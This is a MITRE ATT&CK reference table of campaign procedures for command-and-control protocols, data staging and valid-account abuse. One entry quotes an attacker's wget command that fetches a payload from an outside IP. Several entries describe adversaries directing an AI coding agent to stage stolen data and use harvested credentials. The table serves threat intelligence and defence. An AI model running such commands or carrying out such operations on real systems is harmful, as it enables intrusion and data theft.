Real-world descriptions of how a group, tool or campaign used a technique.
1213 examples
| Technique | Used by | Procedure example |
|---|---|---|
| T1071.001 Web Protocols |
Campaign3CX Supply Chain Attack | During the 3CX Supply Chain Attack, AppleJeus's COLDCAT C2 leverages cookie headers to contain data over HTTPS. Cookies also contain hardcoded variables `__tutma` or `__tutmc` in the payload's HTTPS request. |
| T1071.001 Web Protocols |
CampaignC0018 | During C0018, the threat actors used HTTP for C2 communications. |
| T1071.001 Web Protocols |
CampaignC0021 | During C0021, the threat actors used HTTP for some of their C2 communications. |
| T1071.001 Web Protocols |
CampaignJuicy Mix | During Juicy Mix, OilRig used a VBS script to send POST requests to register installed malware with C2. |
| T1071.001 Web Protocols |
CampaignSolarWinds Compromise | During the SolarWinds Compromise, APT29 used HTTP for C2 and data exfiltration. |
| T1071.001 Web Protocols |
CampaignOperation CuckooBees | During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners. |
| T1071.001 Web Protocols |
CampaignOuter Space | During Outer Space, OilRig used HTTP to communicate between installed backdoors and compromised servers including via the Microsoft Exchange Web Services API. |
| T1071.001 Web Protocols |
CampaignArcaneDoor | ArcaneDoor command and control activity was conducted through HTTP. |
| T1071.001 Web Protocols |
CampaignAPT41 DUST | APT41 DUST used HTTPS for command and control. |
| T1071.001 Web Protocols |
CampaignNight Dragon | During Night Dragon, threat actors used HTTP for C2. |
| T1071.001 Web Protocols |
CampaignVersa Director Zero Day Exploitation | Versa Director Zero Day Exploitation established HTTPS communications from adversary-controlled SOHO devices over port 443 with compromised Versa Director servers. |
| T1071.001 Web Protocols |
CampaignOperation Wocao | During Operation Wocao, threat actors’ XServer tool communicated using HTTP and HTTPS. |
| T1071.001 Web Protocols |
CampaignC0017 | During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads. |
| T1071.001 Web Protocols |
CampaignQuad7 Activity | Quad7 Activity has used the same User Agents of |
| T1071.002 File Transfer Protocols |
CampaignOperation Honeybee | During Operation Honeybee, the threat actors had the ability to use FTP for C2. |
| T1071.002 File Transfer Protocols |
CampaignQuad7 Activity | Quad7 Activity has used a File Transfer Protocol (FTP) server to download malicious binaries. |
| T1071.004 DNS |
CampaignCutting Edge | During Cutting Edge, threat actors used DNS to tunnel IPv4 C2 traffic. |
| T1072 Software Deployment Tools |
CampaignC0018 | During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network. |
| T1074 Data Staged |
CampaignAI-Assisted Breach of Mexico's Government Infrastructure | During the AI-Assisted Breach of Mexico's Government Infrastructure, the adversary had Claude Code document select findings in the skills Markdown (MD) file for future recollection. |
| T1074.001 Local Data Staging |
CampaignSharePoint ToolShell Exploitation | During SharePoint ToolShell Exploitation, threat actors staged stolen data from web.config files to debug_dev.js. |
| T1074.001 Local Data Staging |
CampaignOperation Honeybee | During Operation Honeybee, stolen data was copied into a text file using the format `From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt` prior to compression, encoding, and exfiltration. |
| T1074.001 Local Data Staging |
CampaignOperation MidnightEclipse | During Operation MidnightEclipse, threat actors copied files to the web application folder on compromised devices for exfiltration. |
| T1074.001 Local Data Staging |
CampaignAnthropic AI-orchestrated Campaign | During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to stage extracted data and operational documentation in structured markdown files on local systems prior to exfiltration. |
| T1074.001 Local Data Staging |
CampaignC0015 | During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`. |
| T1074.001 Local Data Staging |
CampaignJuicy Mix | During Juicy Mix, OilRig used browser data and credential stealer tools to stage stolen files named Cupdate, Eupdate, and IUpdate in the %TEMP% directory. |
| T1074.001 Local Data Staging |
CampaignC0032 | During the C0032 campaign, TEMP.Veles used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment. |
| T1074.001 Local Data Staging |
CampaignAPT28 Nearest Neighbor Campaign | During APT28 Nearest Neighbor Campaign, APT28 staged captured credential information in the |
| T1074.001 Local Data Staging |
Campaign2025 Poland Wiper Attacks | During the 2025 Poland Wiper Attacks, the adversaries compiled discovery data locally on the victim host in a file located within `C:\Windows\TEMP\outlog.txt`. |
| T1074.001 Local Data Staging |
CampaignAPT41 DUST | APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration. |
| T1074.001 Local Data Staging |
CampaignOperation Wocao | During Operation Wocao, threat actors staged archived files in a temporary directory prior to exfiltration. |
| T1074.001 Local Data Staging |
CampaignLeviathan Australian Intrusions | Leviathan stored captured credential material on local log files on victim systems during Leviathan Australian Intrusions. |
| T1074.001 Local Data Staging |
CampaignC0017 | During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory. |
| T1074.002 Remote Data Staging |
CampaignSolarWinds Compromise | During the SolarWinds Compromise, APT29 staged data and files in password-protected archives on a victim's OWA server. |
| T1074.002 Remote Data Staging |
CampaignNight Dragon | During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them. |
| T1078 Valid Accounts |
CampaignRedPenguin | During RedPenguin, UNC3886 used legitimate credentials to gain priviliged access to Juniper routers. |
| T1078 Valid Accounts |
CampaignOperation MidnightEclipse | During Operation MidnightEclipse, threat actors extracted sensitive credentials while moving laterally through compromised networks. |
| T1078 Valid Accounts |
Campaign2015 Ukraine Electric Power Attack | During the 2015 Ukraine Electric Power Attack, Sandworm Team used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network. |
| T1078 Valid Accounts |
Campaign3CX Supply Chain Attack | During 3CX Supply Chain Attack, AppleJeus has gained access to the 3CX corporate environment through legitimate VPN credentials. |
| T1078 Valid Accounts |
CampaignAnthropic AI-orchestrated Campaign | During the Anthropic AI-orchestrated Campaign, the adversary used harvested credentials to authenticate against internal APIs, database systems, container registries, and logging infrastructure across targeted networks. |
| T1078 Valid Accounts |
CampaignHomeLand Justice | During HomeLand Justice, threat actors used a compromised Exchange account to search mailboxes and create new Exchange accounts. |
| T1078 Valid Accounts |
CampaignC0032 | During the C0032 campaign, TEMP.Veles used compromised VPN accounts. |
| T1078 Valid Accounts |
CampaignSolarWinds Compromise | During the SolarWinds Compromise, APT29 used different compromised credentials for remote access and to move laterally. |
| T1078 Valid Accounts |
CampaignNight Dragon | During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems. |
| T1078 Valid Accounts |
CampaignOperation Wocao | During Operation Wocao, threat actors used valid VPN credentials to gain initial access. |
| T1078 Valid Accounts |
CampaignLeviathan Australian Intrusions | Leviathan used captured, valid account information to log into victim web applications and appliances during Leviathan Australian Intrusions. |
| T1078 Valid Accounts |
CampaignAI-Assisted Breach of Mexico's Government Infrastructure | During the AI-Assisted Breach of Mexico's Government Infrastructure, the adversary tasked Claude Code to leverage compromised valid credentials to authenticate to victim hosts and services. |
| T1078.001 Default Accounts |
CampaignHomeLand Justice | During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket. |
| T1078.002 Domain Accounts |
CampaignOperation MidnightEclipse | During Operation MidnightEclipse, threat actors used a compromised domain admin account to move laterally. |
| T1078.002 Domain Accounts |
CampaignCutting Edge | During Cutting Edge, threat actors used compromised VPN accounts for lateral movement on targeted networks. |
| T1078.002 Domain Accounts |
CampaignOperation Ghost | For Operation Ghost, APT29 used stolen administrator credentials for lateral movement on compromised networks. |
Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.